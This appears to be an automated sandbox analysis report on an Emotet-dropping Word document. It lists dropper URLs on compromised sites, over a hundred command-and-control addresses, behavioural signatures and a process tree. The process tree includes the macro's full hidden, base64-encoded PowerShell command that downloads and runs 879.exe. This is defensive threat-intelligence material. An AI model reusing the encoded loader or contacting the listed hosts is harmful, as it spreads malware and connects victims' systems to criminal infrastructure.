Analysis
-
max time kernel
25s -
resource
win10v191014 -
submitted
20-12-2019 11:31
General
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://www.trangiabds.com/wp-admin/88IHJgsuqF/
exe.dropper
https://kashifclothhouse.com/wp-admin/Pzv6563/
exe.dropper
https://hgklighting.com/wp-admin/V5i324/
exe.dropper
https://gloriapionproperties.com/wp-content/9k16/
exe.dropper
https://azatea.com/pytosj2jd/e5X381802/
Extracted
Family
emotet
C2
68.187.160.28:443
97.120.32.227:80
187.188.166.192:8080
144.217.117.207:8080
96.126.121.64:443
104.236.137.72:8080
85.234.143.94:8080
68.174.15.223:80
63.246.252.234:80
93.148.252.90:80
74.59.187.94:80
185.160.212.3:80
46.28.111.142:7080
183.99.239.141:80
68.129.203.162:443
144.139.56.105:80
191.183.21.190:80
81.157.234.90:8080
138.68.106.4:7080
203.130.0.69:80
181.36.42.205:443
190.97.30.167:990
94.200.114.162:80
149.62.173.247:8080
188.216.24.204:80
85.152.208.146:80
116.48.138.115:80
50.28.51.143:8080
190.210.184.138:995
83.165.78.227:80
68.183.170.114:8080
186.15.83.52:8080
93.67.154.252:443
74.79.103.55:80
152.170.108.99:443
111.125.71.22:8080
68.183.190.199:8080
93.144.226.57:80
82.8.232.51:80
37.187.6.63:8080
200.58.83.179:80
217.199.160.224:8080
86.42.166.147:80
91.74.175.46:80
97.81.12.153:80
125.99.61.162:7080
207.154.204.40:8080
14.160.93.230:80
87.106.77.40:7080
109.169.86.13:8080
91.205.215.57:7080
82.196.15.205:8080
96.61.113.203:80
181.198.203.45:443
130.204.247.253:80
5.88.27.67:8080
82.36.103.14:80
2.45.112.134:80
190.6.193.152:8080
63.248.198.8:80
51.255.165.160:8080
189.19.81.181:443
186.68.48.204:443
2.44.167.52:80
163.172.40.218:7080
201.213.32.59:80
151.237.36.220:80
77.55.211.77:8080
37.183.121.32:80
112.218.134.227:80
77.27.221.24:443
190.186.164.23:80
175.114.178.83:443
45.50.177.164:80
87.106.46.107:8080
91.204.163.19:8090
188.135.15.49:80
190.195.129.227:8090
159.203.204.126:8080
104.131.58.132:8080
185.86.148.222:8080
46.101.212.195:8080
223.255.148.134:80
79.7.114.1:80
80.11.158.65:8080
190.100.153.162:443
203.25.159.3:8080
2.139.158.136:443
72.29.55.174:80
73.60.8.210:80
37.211.49.127:80
212.71.237.140:8080
5.196.35.138:7080
185.160.229.26:80
91.83.93.124:7080
69.163.33.84:8080
45.8.136.201:80
83.248.141.198:80
200.119.11.118:443
219.75.66.103:80
118.36.70.245:80
192.241.146.84:8080
45.79.95.107:443
116.48.148.32:80
62.75.160.178:8080
142.127.57.63:8080
62.75.143.100:7080
119.59.124.163:8080
181.61.143.177:80
200.124.225.32:80
5.32.41.106:80
37.120.185.153:443
96.38.234.10:80
110.170.65.146:80
190.146.131.105:8080
2.42.173.240:80
191.103.76.34:443
91.117.83.59:80
58.171.38.26:80
178.79.163.131:8080
113.61.76.239:80
99.252.27.6:80
139.162.118.88:8080
165.228.195.93:80
212.237.50.61:8080
142.93.114.137:8080
rsa_pubkey.plain
Signatures
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4800 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4208 4948 Powershell.exe 73 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4208 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4208 Powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 4496 879.exe 4452 879.exe -
Suspicious behavior: EmotetMutantsSpam 1 IoCs
pid Process 4452 879.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4800 WINWORD.EXE 4496 879.exe 4452 879.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4800 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4208 wrote to memory of 4496 4208 Powershell.exe 80 PID 4496 wrote to memory of 4452 4496 879.exe 81 -
description ioc Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308060a2b0601040182370a030406082b0601050507030606082b060105050703070f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030753000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a461e68a56f148dd8229948f29e1afba3ec22bba86556917fde3b00e2c9d5f44.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4800
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABLAHAAZQBoAHYAbgB1AGcAYwBpAHEAcAA9ACcASgBzAHYAcQBsAGIAYwB3AGoAYQBlAHoAdgAnADsAJABSAHEAbwB1AGEAYwBlAHAAIAA9ACAAJwA4ADcAOQAnADsAJABQAHUAeABuAG4AegB4AHcAcgB1AD0AJwBBAHAAbQBjAGgAbwBsAGgAJwA7ACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAcQBvAHUAYQBjAGUAcAArACcALgBlAHgAZQAnADsAJABFAHAAcwBuAGYAZQBkAHcAcwB4AGkAPQAnAFYAcgB2AG0AawB2AHkAegBxAHEAYgB3ACcAOwAkAEoAdwBoAGQAbAB4AG0AZgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgB3AEUAYgBjAEwAaQBlAG4AVAA7ACQAQQBkAHEAeAB5AHUAegBkAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB0AHIAYQBuAGcAaQBhAGIAZABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADgASQBIAEoAZwBzAHUAcQBGAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AUAB6AHYANgA1ADYAMwAvACoAaAB0AHQAcABzADoALwAvAGgAZwBrAGwAaQBnAGgAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgA1AGkAMwAyADQALwAqAGgAdAB0AHAAcwA6AC8ALwBnAGwAbwByAGkAYQBwAGkAbwBuAHAAcgBvAHAAZQByAHQAaQBlAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA5AGsAMQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AYQB6AGEAdABlAGEALgBjAG8AbQAvAHAAeQB0AG8AcwBqADIAagBkAC8AZQA1AFgAMwA4ADEAOAAwADIALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAQgByAGgAbABxAGUAYwBxAGkAdgB6AD0AJwBUAHUAYwBuAHIAawB3AHEAawBtAGIAYQAnADsAZgBvAHIAZQBhAGMAaAAoACQASgB6AGgAYwB2AHEAagByAHkAIABpAG4AIAAkAEEAZABxAHgAeQB1AHoAZAApAHsAdAByAHkAewAkAEoAdwBoAGQAbAB4AG0AZgAuACIARABPAFcAbgBgAGwAbwBBAEQAYABGAEkAbABlACIAKAAkAEoAegBoAGMAdgBxAGoAcgB5ACwAIAAkAEoAbwBoAHgAbwBjAGUAbgBpAGYAaABjACkAOwAkAE8AbgB5AHEAcgBtAHAAYgBmAGwAPQAnAEwAcQBlAGoAYQBtAHIAYwBmAGUAbwBkACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAKQAuACIATABFAE4AYABHAHQASAAiACAALQBnAGUAIAAyADcAMwAyADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAEEAYABSAHQAIgAoACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAKQA7ACQAWABxAGYAZgBsAGUAdgBvAGQAawBlAGkAaAA9ACcAUAByAGIAegB5AGcAbABiAG0AcABqAGoAJwA7AGIAcgBlAGEAawA7ACQAWgB1AGgAZgBwAHIAawB6AGYAYQA9ACcAQwBiAHoAdgBkAGoAeQBvAG8AeABjACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBwAHQAcQBiAHUAcwBlAGUAPQAnAEQAcwBsAGcAcABsAGEAbQBqAGQAagBjAHEAJwA=1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4208 -
C:\Users\Admin\879.exe"C:\Users\Admin\879.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Users\Admin\879.exe--c843c3583⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
PID:4452
-
-